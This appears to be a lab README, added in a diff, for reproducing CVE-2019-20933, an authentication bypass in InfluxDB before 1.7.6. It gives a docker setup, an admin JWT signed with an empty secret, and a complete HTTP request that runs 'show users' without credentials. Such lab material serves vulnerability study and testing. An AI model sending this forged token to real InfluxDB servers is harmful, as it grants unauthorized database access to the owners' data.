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influxdb/CVE-2019-20933/README.md

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+# InfluxDB Empty JWT Secret Key Authentication Bypass (CVE-2019-20933)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+InfluxDB is an open-source time series database developed by the company InfluxData.
+
+InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in `services/httpd/handler.go` because a JWT token may have an empty SharedSecret (aka shared secret).
+
+References:
+
+- https://www.komodosec.com/post/when-all-else-fails-find-a-0-day
+- https://github.com/influxdata/influxdb/issues/12927
+- https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933
+- https://docs.influxdata.com/influxdb/v1.7/administration/config/#http-endpoints-settings
+
+## Vulnerable Environment
+
+Execute following command to start a InfluxDB 1.6.6:
+
+```
+docker compose up -d
+```
+
+After server is started, you can see some debug information in `http://your-ip:8086/debug/vars`. But you are unable to execute SQL statement without authencation and a 401 error is responsed:
+
+![](1.png)
+
+## Vulnerability Reproduce
+
+We can use <https://jwt.io/> to generate a valid JWT token with an empty secret key:
+
+```
+{
+  "alg": "HS256",
+  "typ": "JWT"
+}
+{
+  "username": "admin",
+  "exp": 2986346267
+}
+```
+
+Where `username` is the administrator account name, and `exp` is the token expiration time. You should set `exp` to a future time to make it effect:
+
+![](2.png)
+
+Then take this token to the request, and success to execute SQL statement `show users` in the server:
+
+```
+POST /query HTTP/1.1
+Host: your-ip
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyOTg2MzQ2MjY3fQ.LJDvEy5zvSEpA_C6pnK3JJFkUKGq9eEi8T2wdum3R_s
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 22
+
+db=sample&q=show+users
+```
+
+![](3.png)